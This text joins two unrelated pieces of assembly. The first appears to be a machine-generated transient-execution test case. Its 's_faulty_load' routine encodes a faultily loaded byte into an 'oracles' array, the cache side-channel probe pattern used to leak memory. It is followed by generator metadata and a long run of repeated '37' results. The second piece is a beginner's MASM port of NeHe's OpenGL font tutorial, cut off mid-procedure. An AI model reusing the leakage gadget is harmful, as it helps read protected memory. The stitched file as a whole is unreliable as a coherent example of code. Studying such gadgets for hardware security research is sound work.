.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xd8d9, %rbp nop xor %rsi, %rsi movw $0x6162, (%rbp) nop nop mfence lea addresses_WC_ht+0x1773f, %r10 nop nop nop xor %r15, %r15 mov $0x6162636465666768, %rbx movq %rbx, %xmm0 movups %xmm0, (%r10) nop nop nop nop nop add %rsi, %rsi lea addresses_normal_ht+0x1847f, %rsi nop nop nop xor $54994, %r15 mov $0x6162636465666768, %rbp movq %rbp, (%rsi) add %rsi, %rsi lea addresses_D_ht+0x8a7f, %rsi lea addresses_UC_ht+0xe95, %rdi clflush (%rdi) nop nop nop xor $6495, %r10 mov $24, %rcx rep movsl nop nop cmp %r13, %r13 lea addresses_normal_ht+0x1d27f, %rsi lea addresses_normal_ht+0x46bf, %rdi clflush (%rdi) nop nop nop nop nop inc %rbp mov $0, %rcx rep movsq nop nop nop nop nop lfence lea addresses_UC_ht+0x1177f, %rsi lea addresses_WC_ht+0x1467f, %rdi nop nop nop nop nop inc %r13 mov $124, %rcx rep movsb nop nop nop and %rsi, %rsi lea addresses_A_ht+0x6163, %rsi lea addresses_A_ht+0x1699f, %rdi nop nop nop nop nop inc %rdx mov $52, %rcx rep movsw nop nop nop inc %rdx lea addresses_A_ht+0x1e36b, %rsi lea addresses_normal_ht+0x1e67, %rdi nop nop add %r13, %r13 mov $111, %rcx rep movsl nop cmp %r13, %r13 lea addresses_normal_ht+0x179b7, %rsi lea addresses_WC_ht+0x1cb, %rdi add %rbx, %rbx mov $20, %rcx rep movsq nop sub $36000, %rbx lea addresses_WT_ht+0x6abb, %rsi lea addresses_D_ht+0x144f, %rdi clflush (%rsi) nop nop nop nop nop add $3430, %r10 mov $92, %rcx rep movsl nop nop nop nop nop dec %r10 lea addresses_D_ht+0xbadd, %rcx nop nop nop nop dec %rdx mov $0x6162636465666768, %rbp movq %rbp, %xmm4 and $0xffffffffffffffc0, %rcx movaps %xmm4, (%rcx) nop nop nop cmp %rsi, %rsi lea addresses_WT_ht+0x52ff, %r13 nop nop nop nop xor $5160, %rdi movups (%r13), %xmm7 vpextrq $0, %xmm7, %r15 nop nop nop nop and $39052, %r10 lea addresses_normal_ht+0x17c7f, %r10 nop and $43023, %rcx mov (%r10), %rdx nop nop nop nop nop xor %rbp, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %rbp push %rbx push %rdi push %rdx // Faulty Load lea addresses_UC+0x3a7f, %rdi nop xor %rdx, %rdx vmovups (%rdi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbx lea oracles, %r13 and $0xff, %rbx shlq $12, %rbx mov (%r13,%rbx,1), %rbx pop %rdx pop %rdi pop %rbx pop %rbp pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': True, 'congruent': 9}} {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 8}, 'OP': 'LOAD'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
; Attempt at NeHe's tutorial 17 : Font display lists. ; ; Author: Greg Helps [x86@ozducati.com] ; Date: July 30 2003 ; ; With thanks to NeHe for the OpenGL tutorials <http://nehe.gamedev.net/> ; Inspiration for x86 Assembler from Nico <scalp@bigfoot.com> ; OpenGL x86 includes originally from hardcode <http://bizarrecreations.webjump.com> ; although the site is now offline. ; I've included the OpenGL includes needed to compile this program. ; ; Bugs are mine. ; ; I'm a beginner. If you've any comments / suggestions / questions - bring em on ; ; Please note: Assembled with MASM32V8 and windows.inc (Version 1.26e) ; Both available from <http://www.masmforum.com> ; .586 .model flat, stdcall option casemap:none ; INCLUDES * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * include c:\masm32\include\windows.inc include c:\masm32\include\kernel32.inc include c:\masm32\include\user32.inc include c:\masm32\include\gdi32.inc include c:\masm32\include\masm32.inc include .\gl.def include .\glu.def include .\winextra.def includelib c:\masm32\lib\kernel32.lib includelib c:\masm32\lib\user32.lib includelib c:\masm32\lib\gdi32.lib includelib c:\masm32\lib\opengl32.lib includelib c:\masm32\lib\glu32.lib includelib c:\masm32\lib\masm32.lib ; Missing from include files * * * * * * * * * * * * * * * * * * * * * DM_BITSPERPEL = 00040000h DM_PELSWIDTH = 00080000h DM_PELSHEIGHT = 00100000h ANTIALIASED_QUALITY = 4 WGL_FONT_POLYGONS = 1 ; PROTOTYPES * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WinMain PROTO :HWND, :UINT, :WPARAM, :LPARAM CreateGLWindow PROTO :DWORD, :DWORD, :DWORD, :UINT, :BOOL WndProc PROTO :HWND, :UINT, :WPARAM, :LPARAM KillGLWindow PROTO ReSizeGLScene PROTO :GLsizei, :GLsizei InitGL PROTO BuildFont PROTO KillFont PROTO glPrint PROTO :GLint, :GLint, :DWORD, :UINT DrawGLScene PROTO LoadGLTextures PROTO ; STRUCTURES * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ; Define BMP structure ; I use this to reference width/height & data section from BMP files BMPFILE STRUCT header BITMAPFILEHEADER <> info BITMAPINFOHEADER <> data DWORD ? BMPFILE ENDS ; INITIALISED DATA * * * * * * * * * * * * * * * * * * * * * * * * * * .data gld_10_0 GLdouble 10.0f r4_0_0 REAL4 0.0f r4_0_01 REAL4 0.01f r4_0_02 REAL4 0.02f r4_0_0625 REAL4 0.0625f r4_16_0 REAL4 16.0f r4_1_0 REAL4 1.0f r4_0_0081 REAL4 0.0081f r4_235_0 REAL4 235.0f r4_280_0 REAL4 280.0f r4_30_0 REAL4 30.0f r4_200_0 REAL4 200.0f r4_250_0 REAL4 250.0f r4_0_5 REAL4 0.5f r4_230_0 REAL4 230.0f r4_240_0 REAL4 240.0f r4_m0_5 REAL4 -0.5f r4_5_0 REAL4 2.0f ; txt_Query_Fullscn db "Do you want to run in fullscreen?",0 txt_Title_Fullscn db "Graphics mode",0 txt_Window_Title db "NeHe's Font Display List Tutorial",0 txt_OpenGL db "OpenGL",0 txt_WC_Failed db "Failed to registed window class",0 txt_GL_Context_Failed db "Failed to create a GL device context",0 txt_RC_Failed db "Failed to create a GL rendering context",0 txt_PixelFormat_Failed db "Failed to find suitable PixelFormat",0 txt_ActivateRC_Failed db "Failed to activate GL rendering context",0 txt_GLInit_Failed db "Initialisation failed",0 txt_SetPixelFormat_Failed db "Failed to set PixelFormat",0 txt_WindowCreateError db "Window creation error",0 txt_Error db "Error",0 txt_NeHe db "NeHe",0 txt_Giueseppe db "Giuseppe D'Agata",0 ; txt_Font_BMP db "Font.BMP",0 txt_Bumps_BMP db "Bumps.BMP",0 ; UNINITIALISED DATA * * * * * * * * * * * * * * * * * * * * * * * * * .data? hRC HGLRC ? ; hDC HDC ? ; Open GL window structures hWnd HWND ? ; hInstance HINSTANCE ? ; ; keys db 256 dup (?) ; keypress status fullscreen BOOL ? ; fullscreen toggle active BOOL ? ; window active toggle/status ; texture GLuint 2 dup (?) ; GL Texture handle x 2 BMPTexture DWORD 2 dup (?) ; Texture pointer x 2 ; base GLuint ? ; Base display list for the font cnt1 GLfloat ? ; 1st temp used to move text & for colouring cnt2 GLfloat ? ; you guessed it.. second temp ; BUGS BEGIN HERE * * * * * * * * * * * * * * * * * * * * * * * * * * .code start: invoke GetModuleHandle,0 mov hInstance, eax invoke WinMain,hInstance,0,0,0 invoke ExitProcess, eax ;** END ; PROC WinMain * * * * * * * * * * * * * * * * * * * * * * * * * * * * WinMain proc hInst:HWND, hPrevInst:UINT, CmdLine:WPARAM, CmdShow:LPARAM LOCAL msg:MSG, done:UINT ; Check if we should start in full screen invoke MessageBox,NULL,addr txt_Query_Fullscn,addr txt_Title_Fullscn,MB_YESNO or MB_ICONQUESTION .IF eax == IDNO mov fullscreen,FALSE .ELSE mov fullscreen,TRUE .ENDIF invoke CreateGLWindow,addr txt_Window_Title,640,480,16,fullscreen .IF !eax ret .ENDIF mov done,FALSE .WHILE !done invoke PeekMessage,addr msg,NULL,0,0,PM_REMOVE .IF eax .IF msg.message == WM_QUIT mov done,TRUE .ELSE invoke TranslateMessage,addr msg invoke DispatchMessage,addr msg .ENDIF .ELSE invoke DrawGLScene .IF ((active) && (!eax)) || (keys[VK_ESCAPE]) mov done, 1 .ELSE invoke SwapBuffers,hDC .ENDIF .IF keys[VK_F1] mov keys[VK_F1],FALSE invoke KillGLWindow xor fullscreen, 1 invoke CreateGLWindow,addr txt_Window_Title,640,480,16,fullscreen .IF !eax mov eax,FALSE .ENDIF .ENDIF .ENDIF .ENDW invoke KillGLWindow mov eax,msg.wParam ret WinMain endp ; PROC InitGL * * * * * * * * * * * * * * * * * * * * * * * * * * * * InitGL proc invoke LoadGLTextures ; Load textures .IF (eax == NULL) ; Exit if the textures failed to load ret .ENDIF invoke BuildFont ; Build the font _glClearColor 0.0f, 0.0f, 0.0f, 0.0f ; Clear the background colour to black _glClearDepth 1.0f ; Depth buffer setup invoke glDepthFunc, GL_LEQUAL ; Set type of depth test invoke glBlendFunc, GL_SRC_ALPHA, GL_ONE ; Select the type of blending invoke glShadeModel,GL_SMOOTH ; Enable smooth shading invoke glEnable, GL_TEXTURE_2D ; Enable texture mapping mov eax, 1 ret InitGL endp ; PROC BuildFont * * * * * * * * * * * * * * * * * * * * * * * * * * * BuildFont proc LOCAL charx:GLfloat, chary:GLfloat, temp:UINT, counter:UINT invoke glGenLists, 256 ; Create 256 display lists mov base, eax invoke glBindTexture, GL_TEXTURE_2D, [texture] ; Select the font texture mov counter, 0 .WHILE (counter < 256) mov eax, counter ; charx = (temp2 mod 16)/16 chary = 1 - int(temp2/16)/16 xor edx, edx mov ebx, 16 div ebx mov temp, eax fild temp fdiv r4_16_0 fsubr r4_1_0 fstp chary mov temp, edx fild temp fdiv r4_16_0 fstp charx mov eax, [counter] add eax, base invoke glNewList, eax, GL_COMPILE ; Start building a list invoke glBegin, GL_QUADS ; Use a quad for each character fld chary ; Texture coord, bottom left fsub r4_0_0625 fstp chary invoke glTexCoord2f, charx, chary invoke glVertex2i, 0, 0 fld charx ; Texture coord, bottom right fadd r4_0_0625 fstp charx invoke glTexCoord2f, charx, chary invoke glVertex2i, 16, 0 fld chary ; Texture coord, top right fadd r4_0_0625 fstp chary invoke glTexCoord2f, charx, chary invoke glVertex2i, 16, 16 fld charx ; Texture coord, top left fsub r4_0_0625 fstp charx invoke glTexCoord2f, charx, chary invoke glVertex2i, 0, 16 invoke glEnd ; Done building the quad invoke glTranslated, (DWORD PTR [gld_10_0]),(DWORD PTR [gld_10_0+4]), \ (DWORD PTR [r4_0_0]),(DWORD PTR [r4_0_0]), (DWORD PTR [r4_0_0]),(DWORD PTR [r4_0_0]) invoke glEndList ; Done building the display list inc counter .ENDW ret BuildFont endp ; PROC KillFont * * * * * * * * * * * * * * * * * * * * * * * * * * * KillFont proc invoke glDeleteLists, base, 256 ret KillFont endp ; PROC glPrint * * * * * * * * * * * * * * * * * * * * * * * * * * * * glPrint proc x:GLint, y:GLint, string:DWORD, set:UINT LOCAL gld_x:GLdouble, gld_y:GLdouble fild x ; Convert the GLuint's to GLdoubles for use with glTranslated fstp gld_x fild y ; Convert the GLuint's to GLdoubles for use with glTranslated fstp gld_y .IF (set > 1) mov set, 1 .ENDIF invoke glBindTexture, GL_TEXTURE_2D, texture ; Select the font texture invoke glDisable, GL_DEPTH_TEST ; Disable depth testing invoke glMatrixMode, GL_PROJECTION ; Select projection matrix invoke glPushMatrix ; Store the projection matrix invoke glLoadIdentity ; Reset projection matrix _glOrtho 0.0f, 640.0f, 0.0f, 480.0f, -1.0f, 1.0f ; Set up an Ortho screen invoke glMatrixMode, GL_MODELVIEW ; Select modelview matrix invoke glPushMatrix ; Store the modelview matrix invoke glLoadIdentity ; Reset the modelview matrix invoke glTranslated, (DWORD PTR [gld_x]),(DWORD PTR [gld_x+4]), (DWORD PTR [gld_y]),(DWORD PTR [gld_y+4]), \ (DWORD PTR [r4_0_0]),(DWORD PTR [r4_0_0]) mov eax, 128 ; Choose the font set mul set ; eax= (128*set)+base-32 add eax, base sub eax, 32 invoke glListBase, eax invoke StrLen, string invoke glCallLists, eax, GL_BYTE, string ; Write the text to the screen invoke glMatrixMode, GL_PROJECTION ; Select projection matrix invoke glPopMatrix ; Restore the old matrix invoke glMatrixMode, GL_MODELVIEW ; Select modelview matrix invoke glPopMatrix ; Restore the old matrix invoke glEnable, GL_DEPTH_TEST ; Enable depth testing ret glPrint endp ; PROC CreateGLWindow * * * * * * * * * * * * * * * * * * * * * * * * CreateGLWindow proc WinTitle:DWORD, WinWidth:DWORD, WinHeight:DWORD, WinBits:UINT, WinFullscreen:BOOL LOCAL dwExStyle:DWORD, dwStyle:DWORD, PixelFormat:GLuint LOCAL WindowRect:RECT, dmScreenSettings:DEVMODE, wc:WNDCLASS, pfd:PIXELFORMATDESCRIPTOR mov WindowRect.left,0 mov WindowRect.top,0 push WinWidth pop WindowRect.right push WinHeight pop WindowRect.bottom push WinFullscreen pop fullscreen invoke GetModuleHandle,NULL mov hInstance,eax mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_OWNDC mov wc.lpfnWndProc, offset WndProc mov wc.cbClsExtra,0 mov wc.cbWndExtra,0 push hInstance pop wc.hInstance mov wc.hbrBackground,NULL mov wc.lpszMenuName,NULL mov wc.lpszClassName,offset txt_OpenGL invoke LoadIcon,NULL,IDI_WINLOGO mov wc.hIcon,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax ; Register the window class invoke RegisterClass,addr wc .IF !eax invoke MessageBox,NULL,addr txt_WC_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF ; Set fullscreen, if appropriate .IF fullscreen ZeroMemory &dmScreenSettings,sizeof(dmScreenSettings) mov dmScreenSettings.dmSize,sizeof dmScreenSettings push WinWidth pop dmScreenSettings.dmPelsWidth push WinHeight pop dmScreenSettings.dmPelsHeight push WinBits pop dmScreenSettings.dmBitsPerPel mov dmScreenSettings.dmFields,DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT ; Try to set selected mode invoke ChangeDisplaySettings,addr dmScreenSettings,CDS_FULLSCREEN .IF eax != DISP_CHANGE_SUCCESSFUL ; Original code prompts user, and asks to set to window or exit. I'll just set to window mode mov fullscreen,FALSE .ENDIF .ENDIF ; Check if we are (still?) in fullscreen .IF fullscreen mov dwExStyle, WS_EX_APPWINDOW mov dwStyle,WS_POPUP invoke ShowCursor,FALSE .ELSE mov dwExStyle,WS_EX_APPWINDOW or WS_EX_WINDOWEDGE mov dwStyle, WS_OVERLAPPEDWINDOW .ENDIF invoke AdjustWindowRectEx,addr WindowRect,dwStyle,FALSE,dwExStyle mov eax, WindowRect.left sub WindowRect.right,eax mov eax, WindowRect.top sub WindowRect.bottom, eax mov eax,dwStyle or eax,WS_CLIPSIBLINGS or WS_CLIPCHILDREN invoke CreateWindowEx,dwExStyle,addr txt_OpenGL,addr txt_Window_Title,eax, 0,0,WindowRect.right,WindowRect.bottom,NULL,NULL,hInstance,NULL .IF !eax invoke KillGLWindow invoke MessageBox,NULL,txt_WindowCreateError,txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax, FALSE ret .ENDIF mov hWnd,eax ZeroMemory &pfd,sizeof(PIXELFORMATDESCRIPTOR) mov pfd.nSize,sizeof(PIXELFORMATDESCRIPTOR) mov pfd.nVersion,1 mov pfd.dwFlags,PFD_DRAW_TO_WINDOW or PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER mov pfd.iPixelType,PFD_TYPE_RGBA mov pfd.cColorBits,16 mov pfd.cDepthBits,16 mov pfd.dwLayerMask,PFD_MAIN_PLANE ; Try to get a device context invoke GetDC,hWnd .IF !eax invoke KillGLWindow invoke MessageBox,NULL,addr txt_GL_Context_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF mov hDC,eax ; Select pixel format invoke ChoosePixelFormat,hDC,addr pfd .IF !eax invoke KillGLWindow invoke MessageBox,NULL,addr txt_PixelFormat_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF mov PixelFormat,eax ; Set pixel format invoke SetPixelFormat,hDC,PixelFormat,addr pfd .IF !eax invoke KillGLWindow invoke MessageBox,NULL,addr txt_SetPixelFormat_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF ; Get rendering context invoke wglCreateContext,hDC .IF !eax invoke KillGLWindow invoke MessageBox,NULL,addr txt_RC_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF mov hRC,eax ; Activate rendering context invoke wglMakeCurrent,hDC,hRC .IF !eax invoke KillGLWindow invoke MessageBox,NULL,addr txt_ActivateRC_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF invoke ShowWindow,hWnd,SW_SHOW invoke SetForegroundWindow,hWnd invoke SetFocus,hWnd invoke ReSizeGLScene,WinWidth,WinHeight invoke InitGL .IF !eax invoke KillGLWindow invoke MessageBox,NULL,addr txt_GLInit_Failed,addr txt_Error,MB_OK or MB_ICONEXCLAMATION mov eax,FALSE ret .ENDIF mov eax,TRUE ret CreateGLWindow endp ; PROC KillGLWindow * * * * * * * * * * * * * * * * * * * * * * * * * KillGLWindow proc .IF fullscreen invoke ChangeDisplaySettings,NULL,0 invoke ShowCursor,TRUE .ENDIF .IF hRC invoke wglMakeCurrent,NULL,NULL invoke wglDeleteContext,hRC mov hRC,NULL .ENDIF .IF hDC invoke ReleaseDC,hWnd,hDC mov hDC,NULL .ENDIF .IF hWnd invoke DestroyWindow,hWnd mov hWnd,NULL .ENDIF invoke UnregisterClass,addr txt_OpenGL,hInstance mov hInstance,NULL invoke KillFont ret KillGLWindow endp ; PROC WndProc * * * * * * * * * * * * * * * * * * * * * * * * * * * * WndProc proc hWind:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM .IF uMsg == WM_ACTIVATE mov eax,wParam .IF !ah mov active,TRUE .ELSE mov active,FALSE .ENDIF xor eax, eax ret .ELSEIF uMsg==WM_SYSCOMMAND .IF wParam == SC_SCREENSAVE or SC_MONITORPOWER xor eax, eax ret .ENDIF .ELSEIF uMsg==WM_CLOSE invoke PostQuitMessage,0 xor eax, eax ret .ELSEIF uMsg==WM_KEYDOWN mov eax,wParam mov keys[eax],TRUE xor eax, eax ret .ELSEIF uMsg==WM_KEYUP mov eax,wParam mov keys[eax],FALSE xor eax, eax ret .ELSEIF uMsg==WM_SIZE mov eax,lParam mov ebx,eax and eax,00000000000000001111111111111111b shr ebx,16 invoke ReSizeGLScene,eax,ebx xor eax, eax ret .ENDIF invoke DefWindowProc,hWind,uMsg,wParam,lParam ret WndProc endp ; PROC LoadBMP * * * * * * * * * * * * * * * * * * * * * * * * * * * * ; This procedure only works with 24-bit BMP files. ; But it is small and avoids the use of glaux. ; A check should probably be added here to make sure we're dealing with a 24bit BMP LoadBMP proc FileName:DWORD LOCAL FileHandle:DWORD, FileSize:DWORD, BytesRead:DWORD, BMP:DWORD, ImageSize:DWORD ; Open the file invoke CreateFile, FileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0 mov FileHandle, eax .IF eax==INVALID_HANDLE_VALUE ; get outta here if we failed to open the file xor eax, eax ret .ENDIF ; Determine size of the file invoke GetFileSize, FileHandle, 0 mov FileSize, eax ; Allocate space in memory for the file. invoke GlobalAlloc, GPTR, FileSize mov BMP, eax ; BMP = pointer to allocated space ; Read the file into memory invoke ReadFile, FileHandle, BMP, FileSize, addr BytesRead, 0 invoke CloseHandle, FileHandle mov eax, BytesRead .IF (eax != FileSize) ; Free memory & exit if the readfile failed invoke GlobalFree, BMP xor eax, eax ret .ENDIF ; BMP file has the colours as BGR instead of RGB. Swap the R & B colours. mov ebx, BMP ; Pointer to start of BMPFILE structure mov eax, (BMPFILE PTR [ebx]).info.biWidth ; eax = BMPwidth * BMPheight mul (BMPFILE PTR [ebx]).info.biHeight lea ebx, (BMPFILE PTR [ebx]).data ; ebx = address of BMP data, ie: past the BMP header mov ecx, eax ; Loop thru BMP data, swapping R & G colours @@: mov al, [ebx] ; al = Red value xchg al, [ebx+2] ; Swap Green value with al, and al value with Green mov [ebx], al ; Write back Green value add ebx, 3 ; Move to next block loop @B ; Return a handle to the BMP mov eax, BMP ret LoadBMP endp ; PROC LoadGLTextures * * * * * * * * * * * * * * * * * * * * * * * * LoadGLTextures proc ; Load the first texture, "Font.bmp" invoke LoadBMP, addr txt_Font_BMP mov BMPTexture, eax .IF (eax == NULL) ; Quit if file load failed ret .ENDIF ; Load the second texture, "Bumps.bmp" invoke LoadBMP, addr txt_Bumps_BMP mov [BMPTexture+4], eax .IF (eax == NULL) ; Quit if file load failed ret .ENDIF invoke glGenTextures, 2, addr texture ; Create two textures handles ; Build "Font" texture invoke glBindTexture, GL_TEXTURE_2D, texture[0] invoke glTexParameteri, GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR invoke glTexParameteri, GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR mov eax, BMPTexture lea ebx, (BMPFILE PTR [eax]).data invoke glTexImage2D, GL_TEXTURE_2D, 0, 3, (BMPFILE PTR [eax]).info.biWidth, (BMPFILE PTR [eax]).info.biHeight,\ 0, GL_RGB, GL_UNSIGNED_BYTE, ebx ; Build "Bumps" texture invoke glBindTexture, GL_TEXTURE_2D, texture[1] invoke glTexParameteri, GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR invoke glTexParameteri, GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR mov eax, [BMPTexture+4] lea ebx, (BMPFILE PTR [eax]).data invoke glTexImage2D, GL_TEXTURE_2D, 0, 3, (BMPFILE PTR [eax]).info.biWidth, (BMPFILE PTR [eax]).info.biHeight,\ 0, GL_RGB, GL_UNSIGNED_BYTE, ebx ; Remember to free the memory for the BMPFILE allocated in LoadBMP ; I assume that if we don't need to free it, then the load failed & I set exit flag accordingly. .IF (BMPTexture != NULL) ; invoke GlobalFree, BMPTexture .IF ([BMPTexture+4] != NULL) invoke GlobalFree, [BMPTexture+4] mov eax, 1 .ENDIF .ELSE xor eax, eax .ENDIF ret LoadGLTextures endp ; PROC ReSizeGLScene * * * * * * * * * * * * * * * * * * * * * * * * * ReSizeGLScene proc widthx:DWORD, heighty:DWORD LOCAL ratio:GLdouble .IF heighty == 0 mov heighty, 1 ; prevent div by zero .ENDIF invoke glViewport, 0, 0, widthx, heighty invoke glMatrixMode, GL_PROJECTION invoke glLoadIdentity fild widthx fild heighty fdivp st(1),st(0) fstp ratio _gluPerspective 45.0f, ratio, 0.1f, 100.0f invoke glMatrixMode, GL_MODELVIEW invoke glLoadIdentity ret ReSizeGLScene endp ; PROC DrawGLScene * * * * * * * * * * * * * * * * * * * * * * * * * * DrawGLScene proc LOCAL red:GLfloat, green:GLfloat, blue:GLfloat ; Used for float calculations with colours LOCAL x:UINT, y:UINT ; co-ordinates for printing text invoke glClear,GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT invoke glLoadIdentity invoke glBindTexture, GL_TEXTURE_2D, [texture+1] ; Select second texture _glTranslatef 0.0f, 0.0f, -5.0f ; Move into screen 5 units _glRotatef 45.0f, 0.0f, 0.0f, 1.0f ; 